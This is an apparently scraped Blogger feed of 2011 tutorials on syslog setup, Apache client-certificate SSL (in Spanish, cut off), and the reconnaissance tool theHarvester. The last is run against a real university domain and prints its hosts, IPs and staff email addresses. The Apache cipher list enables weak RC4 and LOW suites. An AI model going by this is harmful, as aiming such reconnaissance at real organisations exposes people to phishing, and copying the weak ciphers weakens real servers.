style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 214px; height: 320px;" src="http://2.bp.blogspot.com/-oO5YK2MQH0k/Tp8qysa2ItI/AAAAAAAABXc/TSQmQ7XiKrA/s320/cert3.png" alt="" id="BLOGGER_PHOTO_ID_5665293906660958930" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;Gracias … espero les funcione !!!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-5590565833195038994?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/5590565833195038994/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/10/instalar-certificados-p12-en-iphone-3gs.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/5590565833195038994'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/5590565833195038994'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2011/10/instalar-certificados-p12-en-iphone-3gs.html' title='Instalar certificados .p12 en Iphone 3gs Safari'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-HdjW2Dy6WVA/Tp8qXpcnJ9I/AAAAAAAABXE/IIMeXSxSCJE/s72-c/cert1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-490671075744941115</id><published>2011-10-18T23:59:00.000-07:00</published><updated>2011-10-19T09:00:01.868-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Syslog'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Manuals'/><title type='text'>Howto - Syslog Server</title><content type='html'>Wikipedia:&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;b&gt;Syslog&lt;/b&gt; is a standard for logging program messages. It allows  separation of the software that generates messages from the system that  stores them and the software that reports and analyzes them. It also  provides devices which would otherwise be unable to communicate a means  to notify administrators of problems or performance. &lt;/p&gt;&lt;p&gt;Syslog can be used for computer system management and security  auditing as well as generalized informational, analysis, and debugging  messages. It is supported by a wide variety of devices (like printers  and routers) and receivers across multiple platforms. Because of this,  syslog can be used to integrate log data from many different types of  systems into a central repository. &lt;/p&gt;&lt;p&gt;Messages refer to a facility (auth, authpriv, daemon, cron, ftp,  lpr, kern, mail, news, syslog, user, uucp, local0, ... , local7 ) and  are assigned a priority/level (Emergency, Alert, Critical, Error,  Warning, Notice, Info or Debug) by the sender of the message. &lt;/p&gt;&lt;p&gt;Configuration allows directing messages to various local devices  (console), files (/var/log/) or remote syslog daemons. Care must be  taken when updating the configuration as omitting or misdirecting  message facilities or levels can cause important messages to be ignored  by syslog or overlooked by the administrator.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Install syslog server &lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Install syslog service&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step #1:&lt;/span&gt;  &lt;span style="font-style: italic;"&gt;"Check that the Linux operating system installed sysklogd"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;how to prove ?  with the following command:&lt;br /&gt;&lt;br /&gt; &lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt; #ls /etc/init.d/sysklogd&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;if it is not installed .... so ...&lt;br /&gt;&lt;br /&gt;  &lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;#apt-get install sysklogd&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step #2:&lt;/span&gt; &lt;span style="font-style: italic;"&gt; "Configure sysklogd"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step #2.1:&lt;/span&gt; &lt;span style="font-style: italic;"&gt;"Stop sysklogd"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;   #/etc/init.d/sysklogd stop&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step #2.2  &lt;/span&gt;&lt;span style="font-style: italic;"&gt;"in some servers, you can find the config files in two places:"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; &lt;span style="font-size:85%;"&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;/etc/init.d/sysklogd&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;  or&lt;br /&gt; &lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt; /etc/default/sysklogd&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;edit file and add:&lt;br /&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;SYSLOGD="-ru syslog"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;then start service:&lt;br /&gt;&lt;br /&gt;  &lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;#/etc/init.d/sysklog restart &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step #3:&lt;/span&gt; &lt;span style="font-style: italic;"&gt;"Verify that the sysklogd service is listening on port 514"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;   #netstat -putan | grep 514&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Something like this should be printed:&lt;br /&gt;&lt;br /&gt;    &lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt; udp 0 0 0.0.0.0:514 0.0.0.0:* 17676/syslogd&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step #4: &lt;/span&gt;&lt;span style="font-style: italic;"&gt;"Configure logs for each server:"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;  &lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;#vi /etc/syslog.conf &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;add servers as follows:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;  +10.0.0.1&lt;br /&gt;  *.* /var/log/server1.log&lt;br /&gt;&lt;br /&gt;  +10.0.0.2&lt;br /&gt;  *.* /var/log/server2.log&lt;br /&gt;&lt;br /&gt;  +10.0.0.3&lt;br /&gt;  *.* /var/log/server3.log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Restart service:&lt;br /&gt;&lt;br /&gt; &lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt; #/etc/init.d/sysklogd restart &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step #5: &lt;/span&gt;&lt;span style="font-style: italic;"&gt;"add clients to /etc/hosts"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; &lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt; #vi /etc/hosts&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;and add as follows:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;   10.0.0.1 server1&lt;br /&gt;  10.0.0.2 server2&lt;br /&gt;  10.0.0.3 server3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Configure Clients&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; &lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt; #vi /etc/syslog.conf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;add as follows:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;   *.* @10.0.0.10 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;server syslog = 10.0.0.10&lt;br /&gt;&lt;br /&gt;Restart service:&lt;br /&gt;&lt;br /&gt;  &lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;#/etc/init.d/syslog restart &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Check server logs&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;'''In  main server'''&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you want to see the 10.0.0.1 server log, go to &lt;span style="font-weight: bold; font-style: italic;"&gt;/var/log/server1.log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;   #tail -f /var/log/server1.log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you want to see the 10.0.0.2 server log, go to &lt;span style="font-weight: bold; font-style: italic;"&gt;/var/log/server2.log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;   #tail -f /var/log/server2.log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you want to see the 10.0.0.3 server log, go to &lt;span style="font-weight: bold; font-style: italic;"&gt;/var/log/server3.log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;   #tail -f /var/log/server3.log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Special configurations&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SYSLOG CONFIGURE IN SYSLOG CLIENTS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt; # apt-get install sysklogd &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt; # vi /etc/syslog.conf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Add lines:&lt;br /&gt;&lt;br /&gt;# define paths for syslog&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt; local0.err                              -/var/log/server_error.log&lt;br /&gt;local1.info                             -/var/log/server_info.log&lt;br /&gt;local2.debug                            -/var/log/server_debug.log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Restar syslog:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt; # /etc/init.d/sysklogd restart&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This print  3 logs, the files are: server_error.log, server_info.log y server_debug.log.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Thks !!&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-490671075744941115?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/490671075744941115/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/10/howto-syslog-server.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/490671075744941115'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/490671075744941115'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2011/10/howto-syslog-server.html' title='Howto - Syslog Server'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-4622026702814560837</id><published>2011-10-18T23:37:00.000-07:00</published><updated>2011-10-19T09:00:23.125-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Theharvester'/><category scheme='http://www.blogger.com/atom/ns#' term='Manuals'/><title type='text'>Theharvester</title><content type='html'>This objective of this program is to gather emails, subdomains, hosts,  employee names, open ports and banners from different public sources  like search engines, PGP key servers and SHODAN computer database.&lt;br /&gt;&lt;br /&gt;This tools is intended to help Penetration testers in the early stages of the project.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:180%;" id="result_box" class="short_text" lang="en" &gt;&lt;span class="hps"&gt;Implementation:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step #1:&lt;/span&gt;&lt;span style="font-style: italic;"&gt; "Download Software from official site"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://code.google.com/p/theharvester/downloads/list"&gt;Download List&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Step #2 :&lt;/span&gt;&lt;span style="font-style: italic;"&gt; "Uncompress downloaded  file "&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;$tar xvf theharvester-ng-2.0.tar&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Step #3:&lt;span style="font-style: italic;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;"Run it "&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;$ python theHarvester.py                                                                                    &lt;/span&gt;&lt;br /&gt;                                                                                                                                                 &lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;&lt;br /&gt;*************************************                                                                                                            &lt;br /&gt;*TheHarvester Ver. 2.0 (reborn)     *                                                                                                            &lt;br /&gt;*Coded by Christian Martorella      *                                                                                                            &lt;br /&gt;*Edge-Security Research             *                                                                                                            &lt;br /&gt;*cmartorella@edge-security.com      *                                                                                                            &lt;br /&gt;*************************************                                                                                                            &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Usage: theharvester options                                                                                                                         &lt;/span&gt;                                                                                                                                                                                                                                                                                                        &lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;&lt;br /&gt;&lt;br /&gt;    -d: Domain to search or company name                                                                                                         &lt;/span&gt;                                                                                                                                                    &lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;&lt;br /&gt;    -b: Data source (google,bing,bingapi,pgp,linkedin,google-profiles,exalead,all)&lt;br /&gt;    -s: Start in result number X (default 0)&lt;br /&gt;    -v: Verify host name via dns resolution and search for vhosts(basic)&lt;br /&gt;    -l: Limit the number of results to work with(bing goes from 50 to 50 results,&lt;br /&gt;         google 100 to 100, and pgp does'nt use this option)&lt;br /&gt;    -f: Save the results into an XML file&lt;br /&gt;&lt;br /&gt;Examples:./theharvester.py -d microsoft.com -l 500 -b google&lt;br /&gt;      ./theharvester.py -d microsoft.com -b pgp&lt;br /&gt;      ./theharvester.py -d microsoft -l 200 -b linkedin&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step #4&lt;/span&gt;: &lt;span style="font-style: italic;"&gt;"Exemplary  target"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;$ python theHarvester.py -d intep.edu.co -l 300 -b google&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);font-size:85%;" &gt;*************************************&lt;br /&gt;*TheHarvester Ver. 2.0 (reborn)     *&lt;br /&gt;*Coded by Christian Martorella      *&lt;br /&gt;*Edge-Security Research             *&lt;br /&gt;*cmartorella@edge-security.com      *&lt;br /&gt;*************************************&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[-] Searching in Google:&lt;br /&gt;     Searching 100 results...&lt;br /&gt;     Searching 200 results...&lt;br /&gt;     Searching 300 results...&lt;br /&gt;     Searching 400 results...&lt;br /&gt;['www.intep.edu.co', 'intepvirtual.intep.edu.co', 'ipira.intep.edu.co', 'weblog.intep.edu.co', 'wap.intep.edu.co', '3d.intep.edu.co', '1.www.intep.edu.co', 'root.intep.edu.co', '...intep.edu.co', 'busca...intep.edu.co', 'wargame.intep.edu.co', '...www.intep.edu.co', 'ceinfo.intep.edu.co', 'congreso.intep.edu.co']&lt;br /&gt;&lt;br /&gt;[+] Emails found:&lt;br /&gt;-------------&lt;br /&gt;secregeneral@intep.edu.co&lt;br /&gt;rectoria@intep.edu.co&lt;br /&gt;sistemas@intep.edu.co&lt;br /&gt;educoandes@intep.edu.co&lt;br /&gt;registrocontrol@intep.edu.co&lt;br /&gt;flisol@intep.edu.co&lt;br /&gt;anam.bueno@intep.edu.co&lt;br /&gt;carlos.roldan@intep.edu.co&lt;br /&gt;webmaster@intep.edu.co&lt;br /&gt;contratos@intep.edu.co&lt;br /&gt;mercadeo@intep.edu.co&lt;br /&gt;almacen@intep.edu.co&lt;br /&gt;bueno@intep.edu.co&lt;br /&gt;a@intep.edu.co&lt;br /&gt;Camachosecregeneral@intep.edu.co&lt;br /&gt;biblioteca@intep.edu.co&lt;br /&gt;ceinfo@intep.edu.co&lt;br /&gt;julian.galvez@intep.edu.co&lt;br /&gt;&lt;br /&gt;[+] Hosts found&lt;br /&gt;-----------&lt;br /&gt;186.113.18.107:www.intep.edu.co&lt;br /&gt;186.113.18.106:intepvirtual.intep.edu.co&lt;br /&gt;186.113.18.106:ipira.intep.edu.co&lt;br /&gt;186.113.18.107:weblog.intep.edu.co&lt;br /&gt;186.113.18.107:wap.intep.edu.co&lt;br /&gt;186.113.18.107:3d.intep.edu.co&lt;br /&gt;186.113.18.107:wargame.intep.edu.co&lt;br /&gt;186.113.18.107:ceinfo.intep.edu.co&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;that's all&lt;br /&gt;&lt;br /&gt;Thks !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-4622026702814560837?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/4622026702814560837/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/10/theharvester.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/4622026702814560837'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/4622026702814560837'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2011/10/theharvester.html' title='Theharvester'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-3455137950334057722</id><published>2011-10-18T19:50:00.001-07:00</published><updated>2011-10-19T09:00:40.224-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SSL'/><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Manuals'/><category scheme='http://www.blogger.com/atom/ns#' term='Apache'/><title type='text'>Apache2,  ssl y autenticación con certificados p12</title><content type='html'>Manos a la obra !!!&lt;br /&gt;&lt;br /&gt;Primero generamos la llave privada del servidor; en mi caso voy a crear una de 2048:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;#openssl genrsa -des3 -out _x1nux.host.net.key  2048&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Al generar dicha llave nos va a pedir un password, este password debe ser recordado por siempre, pues se va a usar para firmar los certificados hijos, y también para poder iniciar el servidor apache, en caso de que actualices algún tipo de configuración en el.  &lt;p style="margin-bottom: 0in"&gt;En caso de que quieras deshabilitar la pedida de password al reiniciar o iniciar el servicio de apache; usa el siguiente comando y utiliza el siguiente certificado para la configuración del apache:  &lt;/p&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;#openssl rsa -in _x1nux.host.net.key  -out _x1nux.host.net.pem&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Pedirá un password que fue el que dimos al generar la llave principal.&lt;br /&gt;&lt;br /&gt;      &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;p style="margin-bottom: 0in"&gt;Ahora generamos los archivos csr, en donde ingresaremos la información de nuestra empresa u de nuestro host.&lt;/p&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;#openssl req -new -key _x1nux.host.net.key  -out _x1nux.host.net.csr&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;      &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;p style="margin-bottom: 0in"&gt;Nos pedirá la información siguiente:  &lt;/p&gt;&lt;br /&gt;&lt;pre style="color: rgb(0, 102, 0);" class="code"&gt;----- Country Name (2 letter code) [AU]:&lt;span style="color: rgb(0, 0, 0);"&gt;CO&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;State or Province Name (full name) [Some-State]:&lt;span style="color: rgb(0, 0, 0);"&gt;Valle&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Locality Name (eg, city) []:&lt;span style="color: rgb(0, 0, 0);"&gt;Cali&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Organization Name (eg, company) &lt;span style="color: rgb(0, 0, 0);"&gt;Host&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Organizational Unit Name (eg, section) []:&lt;span style="color: rgb(0, 0, 0);"&gt;HostCert&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Common Name (eg, YOUR name) []:&lt;span style="color: rgb(0, 0, 0);"&gt;Host.net&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Email Address []:&lt;span style="color: rgb(0, 0, 0);"&gt;x1nux@host.net&lt;/span&gt;&lt;/pre&gt;En caso de que pida password, das el que te pidió al generar la primera llave.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ahora vamos a generar un certificado auto-firmado con 10 a&lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  -&lt;/style&gt;ños de vigencia :&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;#openssl x509 -req -days 3650 -in _x1nux.host.net.csr -signkey _x1nux.host.net.key  -out _x1nux.host.net.crt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;      &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;p style="margin-bottom: 0in"&gt;Pedirá el password de la llave primaria: “El que debes recordar siempre”&lt;/p&gt;&lt;br /&gt;      &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;p style="margin-bottom: 0in"&gt;Ahora generamos el certificado P12 el cual se va a configurar como el único que pueda acceder al servidor apache:  &lt;/p&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;#openssl pkcs12 -export -out _x1nux.host.net.p12  -inkey _x1nux.host.net.key -in _x1nux.host.net.crt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;      &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;p style="margin-bottom: 0in"&gt;Luego pedirá el password de la llave principal; y luego el password para proteger este mismo certificado P12.&lt;/p&gt;&lt;br /&gt;      &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="font-weight: bold;"&gt;NOTA:&lt;/span&gt; La persona que tenga este certificado, es el único que va poder acceder al sitio web; lo que quiere decir que el administrador del servidor web debe entregar este certificado a los usuarios que deseen acceder a el sitio web, para que lo agreguen al navegador; ademas el certificado puede ser protegido con un password adicional, que a la hora de ser agregado a un navegador, pida ese password.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;      &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;Configurar apache para que trabaje con los certificados:  &lt;/p&gt;   &lt;p style="margin-bottom: 0in"&gt;Editar el archivo donde tengan configurado el servicio de apache, en mi caso &lt;span style="font-weight: bold;"&gt;/etc/apache2/sites-enable/default-ssl&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;y modificar las lineas de ssl de la siguiente manera:  &lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;        &lt;span style="color: rgb(0, 102, 0);"&gt;SSLEngine on&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;        &lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;SSLProtocol all -SSLv2&lt;/span&gt;&lt;/p&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt; &lt;/span&gt;&lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;        SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW&lt;/span&gt;&lt;/p&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt; &lt;/span&gt; &lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;        SSLVerifyClient require&lt;/span&gt;&lt;/p&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt; &lt;/span&gt;&lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;        SSLCertificateFile /etc/apache2/cert-apache2/x1nux/_x1nux.host.net.crt&lt;/span&gt;&lt;/p&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt; &lt;/span&gt;&lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;        SSLCACertificateFile /etc/apache2/cert-apache2/x1nux/_x1nux.host.net.crt&lt;/span&gt;&lt;/p&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt; &lt;/span&gt;&lt;p style="margin-bottom: 0in; color: rgb(0, 102, 0);"&gt;&lt;span style="font-size:85%;"&gt;        SSLCertificateKeyFile /etc/apache2/cert-apache2/x1nux/_x1nux.host.net.pem&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;Luego reiniciar el servicio de apache:  &lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;#/etc/init.d/apache2 restart  &lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;Pruebas:  &lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;Ingresar desde una maquina de la misma red, al servidor apache que acabamos de instalar; y veras que no 